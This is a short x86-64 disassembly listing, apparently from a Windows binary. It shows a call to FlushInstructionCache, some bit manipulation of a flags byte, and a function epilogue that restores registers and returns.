mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
and byte [rbx + 0x20], 0xfd
and sil, 1
movzx eax, sil
shl sil, 2
add al, al
or al, byte [rbx + 0x20]
and al, 0xfb
or al, sil
mov byte [rbx + 0x20], al
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret